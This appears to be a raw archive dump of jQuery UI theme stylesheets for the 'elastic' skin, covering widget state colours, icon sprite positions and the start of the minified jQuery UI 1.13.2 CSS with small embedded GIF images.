a.ui-button:hover,
a.ui-button:focus {
	color: #2b2b2b;
	text-decoration: none;
}

.ui-visual-focus {
	box-shadow: 0 0 3px 1px rgb(94, 158, 214);
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active,
a.ui-button:active,
.ui-button:active,
.ui-button.ui-state-active:hover {
	border: 1px solid #003eff;
	background: #007fff;
	font-weight: normal;
	color: #ffffff;
}
.ui-icon-background,
.ui-state-active .ui-icon-background {
	border: #003eff;
	background-color: #ffffff;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
	color: #ffffff;
	text-decoration: none;
}

/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
	border: 1px solid #dad55e;
	background: #fffa90;
	color: #777620;
}
.ui-state-checked {
	border: 1px solid #dad55e;
	background: #fffa90;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
	color: #777620;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
	border: 1px solid #f1a899;
	background: #fddfdf;
	color: #5f3f3f;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
	color: #5f3f3f;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
	color: #5f3f3f;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
	font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
	opacity: .5;
	font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
	opacity: .35;
	background-image: none;
}

/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	width: 16px;
	height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
	background-image: url("images/ui-icons_444444_256x240.png");
}
.ui-widget-header .ui-icon {
	background-image: url("images/ui-icons_444444_256x240.png");
}
.ui-button .ui-icon {
	background-image: url("images/ui-icons_777777_256x240.png");
}

/* positioning */
/* Three classes needed to override `.ui-button:hover .ui-icon` */
.ui-icon-blank.ui-icon-blank.ui-icon-blank {
	background-image: none;
}
.ui-icon-caret-1-n { background-position: 0 0; }
.ui-icon-caret-1-ne { background-position: -16px 0; }
.ui-icon-caret-1-e { background-position: -32px 0; }
.ui-icon-caret-1-se { background-position: -48px 0; }
.ui-icon-caret-1-s { background-position: -65px 0; }
.ui-icon-caret-1-sw { background-position: -80px 0; }
.ui-icon-caret-1-w { background-position: -96px 0; }
.ui-icon-caret-1-nw { background-position: -112px 0; }
.ui-icon-caret-2-n-s { background-position: -128px 0; }
.ui-icon-caret-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -65px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -65px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }

/* Overlays */
.ui-widget-overlay {
	opacity: .5;
}
PKh�\�N�}r}r1plugins/jqueryui/themes/elastic/jquery-ui.min.cssnu�[���/*! jQuery UI - v1.13.2 - 2022-07-14
* http://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?bgShadowXPos=&bgOverlayXPos=&bgErrorXPos=&bgHighlightXPos=&bgContentXPos=&bgHeaderXPos=&bgActiveXPos=&bgHoverXPos=&bgDefaultXPos=&bgShadowYPos=&bgOverlayYPos=&bgErrorYPos=&bgHighlightYPos=&bgContentYPos=&bgHeaderYPos=&bgActiveYPos=&bgHoverYPos=&bgDefaultYPos=&bgShadowRepeat=&bgOverlayRepeat=&bgErrorRepeat=&bgHighlightRepeat=&bgContentRepeat=&bgHeaderRepeat=&bgActiveRepeat=&bgHoverRepeat=&bgDefaultRepeat=&iconsHover=url(%22images%2Fui-icons_555555_256x240.png%22)&iconsHighlight=url(%22images%2Fui-icons_777620_256x240.png%22)&iconsHeader=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsError=url(%22images%2Fui-icons_cc0000_256x240.png%22)&iconsDefault=url(%22images%2Fui-icons_777777_256x240.png%22)&iconsContent=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsActive=url(%22images%2Fui-icons_ffffff_256x240.png%22)&bgImgUrlShadow=&bgImgUrlOverlay=&bgImgUrlHover=&bgImgUrlHighlight=&bgImgUrlHeader=&bgImgUrlError=&bgImgUrlDefault=&bgImgUrlContent=&bgImgUrlActive=&opacityFilterShadow=Alpha(Opacity%3D30)&opacityFilterOverlay=Alpha(Opacity%3D30)&opacityShadowPerc=30&opacityOverlayPerc=30&iconColorHover=%23555555&iconColorHighlight=%23777620&iconColorHeader=%23444444&iconColorError=%23cc0000&iconColorDefault=%23777777&iconColorContent=%23444444&iconColorActive=%23ffffff&bgImgOpacityShadow=0&bgImgOpacityOverlay=0&bgImgOpacityError=95&bgImgOpacityHighlight=55&bgImgOpacityContent=75&bgImgOpacityHeader=75&bgImgOpacityActive=65&bgImgOpacityHover=75&bgImgOpacityDefault=75&bgTextureShadow=flat&bgTextureOverlay=flat&bgTextureError=flat&bgTextureHighlight=flat&bgTextureContent=flat&bgTextureHeader=flat&bgTextureActive=flat&bgTextureHover=flat&bgTextureDefault=flat&cornerRadius=3px&fwDefault=normal&ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&cornerRadiusShadow=8px&thicknessShadow=5px&offsetLeftShadow=0px&offsetTopShadow=0px&opacityShadow=.3&bgColorShadow=%23666666&opacityOverlay=.3&bgColorOverlay=%23aaaaaa&fcError=%235f3f3f&borderColorError=%23f1a899&bgColorError=%23fddfdf&fcHighlight=%23777620&borderColorHighlight=%23dad55e&bgColorHighlight=%23fffa90&fcContent=%23333333&borderColorContent=%23dddddd&bgColorContent=%23ffffff&fcHeader=%23333333&borderColorHeader=%23dddddd&bgColorHeader=%23e9e9e9&fcActive=%23ffffff&borderColorActive=%23003eff&bgColorActive=%23007fff&fcHover=%232b2b2b&borderColorHover=%23cccccc&bgColorHover=%23ededed&fcDefault=%23454545&borderColorDefault=%23c5c5c5&bgColorDefault=%23f6f6f6
* Copyright jQuery Foundation and other contributors; Licensed MIT */
.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;list-style-image:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:0 .5em;line-height:2;width:100%;display:inline-block;text-decoration:none}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label+.ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label+.ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{box-shadow:inset 1px 1px 1px #ccc;border-radius:.12em;border:0}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;border-radius:1em;overflow:visible;border:0}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:20em;display:none}.ui-datepicker .ui-datepicker-header{position:relative}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:0;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev{left:0}.ui-datepicker .ui-datepicker-next{right:0}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;text-align:center}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:center;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;outline:0}.ui-dialog .ui-dialog-titlebar{position:relative}.ui-dialog .ui-dialog-title{float:left;white-space:nowrap;width:100%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:1em 1em .5em 1em;background:0 0;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:right;white-space:nowrap;background-image:none;padding:0 1.5rem;height:4rem}.ui-dialog .ui-dialog-buttonpane button{margin:.65rem 0 .65rem .5rem}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{width:14px;height:14px;right:3px;bottom:3px;background-position:-80px -224px}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url(data:image/gif;base64,R0lGODlhKAAoAIABAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQJAQABACwAAAAAKAAoAAACkYwNqXrdC52DS06a7MFZI+4FHBCKoDeWKXqymPqGqxvJrXZbMx7Ttc+w9XgU2FB3lOyQRWET2IFGiU9m1frDVpxZZc6bfHwv4c1YXP6k1Vdy292Fb6UkuvFtXpvWSzA+HycXJHUXiGYIiMg2R6W459gnWGfHNdjIqDWVqemH2ekpObkpOlppWUqZiqr6edqqWQAAIfkECQEAAQAsAAAAACgAKAAAApSMgZnGfaqcg1E2uuzDmmHUBR8Qil95hiPKqWn3aqtLsS18y7G1SzNeowWBENtQd+T1JktP05nzPTdJZlR6vUxNWWjV+vUWhWNkWFwxl9VpZRedYcflIOLafaa28XdsH/ynlcc1uPVDZxQIR0K25+cICCmoqCe5mGhZOfeYSUh5yJcJyrkZWWpaR8doJ2o4NYq62lAAACH5BAkBAAEALAAAAAAoACgAAAKVDI4Yy22ZnINRNqosw0Bv7i1gyHUkFj7oSaWlu3ovC8GxNso5fluz3qLVhBVeT/Lz7ZTHyxL5dDalQWPVOsQWtRnuwXaFTj9jVVh8pma9JjZ4zYSj5ZOyma7uuolffh+IR5aW97cHuBUXKGKXlKjn+DiHWMcYJah4N0lYCMlJOXipGRr5qdgoSTrqWSq6WFl2ypoaUAAAIfkECQEAAQAsAAAAACgAKAAAApaEb6HLgd/iO7FNWtcFWe+ufODGjRfoiJ2akShbueb0wtI50zm02pbvwfWEMWBQ1zKGlLIhskiEPm9R6vRXxV4ZzWT2yHOGpWMyorblKlNp8HmHEb/lCXjcW7bmtXP8Xt229OVWR1fod2eWqNfHuMjXCPkIGNileOiImVmCOEmoSfn3yXlJWmoHGhqp6ilYuWYpmTqKUgAAIfkECQEAAQAsAAAAACgAKAAAApiEH6kb58biQ3FNWtMFWW3eNVcojuFGfqnZqSebuS06w5V80/X02pKe8zFwP6EFWOT1lDFk8rGERh1TTNOocQ61Hm4Xm2VexUHpzjymViHrFbiELsefVrn6XKfnt2Q9G/+Xdie499XHd2g4h7ioOGhXGJboGAnXSBnoBwKYyfioubZJ2Hn0RuRZaflZOil56Zp6iioKSXpUAAAh+QQJAQABACwAAAAAKAAoAAACkoQRqRvnxuI7kU1a1UU5bd5tnSeOZXhmn5lWK3qNTWvRdQxP8qvaC+/yaYQzXO7BMvaUEmJRd3TsiMAgswmNYrSgZdYrTX6tSHGZO73ezuAw2uxuQ+BbeZfMxsexY35+/Qe4J1inV0g4x3WHuMhIl2jXOKT2Q+VU5fgoSUI52VfZyfkJGkha6jmY+aaYdirq+lQAACH5BAkBAAEALAAAAAAoACgAAAKWBIKpYe0L3YNKToqswUlvznigd4wiR4KhZrKt9Upqip61i9E3vMvxRdHlbEFiEXfk9YARYxOZZD6VQ2pUunBmtRXo1Lf8hMVVcNl8JafV38aM2/Fu5V16Bn63r6xt97j09+MXSFi4BniGFae3hzbH9+hYBzkpuUh5aZmHuanZOZgIuvbGiNeomCnaxxap2upaCZsq+1kAACH5BAkBAAEALAAAAAAoACgAAAKXjI8By5zf4kOxTVrXNVlv1X0d8IGZGKLnNpYtm8Lr9cqVeuOSvfOW79D9aDHizNhDJidFZhNydEahOaDH6nomtJjp1tutKoNWkvA6JqfRVLHU/QUfau9l2x7G54d1fl995xcIGAdXqMfBNadoYrhH+Mg2KBlpVpbluCiXmMnZ2Sh4GBqJ+ckIOqqJ6LmKSllZmsoq6wpQAAAh+QQJAQABACwAAAAAKAAoAAAClYx/oLvoxuJDkU1a1YUZbJ59nSd2ZXhWqbRa2/gF8Gu2DY3iqs7yrq+xBYEkYvFSM8aSSObE+ZgRl1BHFZNr7pRCavZ5BW2142hY3AN/zWtsmf12p9XxxFl2lpLn1rseztfXZjdIWIf2s5dItwjYKBgo9yg5pHgzJXTEeGlZuenpyPmpGQoKOWkYmSpaSnqKileI2FAAACH5BAkBAAEALAAAAAAoACgAAAKVjB+gu+jG4kORTVrVhRlsnn2dJ3ZleFaptFrb+CXmO9OozeL5VfP99HvAWhpiUdcwkpBH3825AwYdU8xTqlLGhtCosArKMpvfa1mMRae9VvWZfeB2XfPkeLmm18lUcBj+p5dnN8jXZ3YIGEhYuOUn45aoCDkp16hl5IjYJvjWKcnoGQpqyPlpOhr3aElaqrq56Bq7VAAAOw==);height:100%;opacity:.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:1;width:1.2em;height:1.2em;cursor:pointer;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal 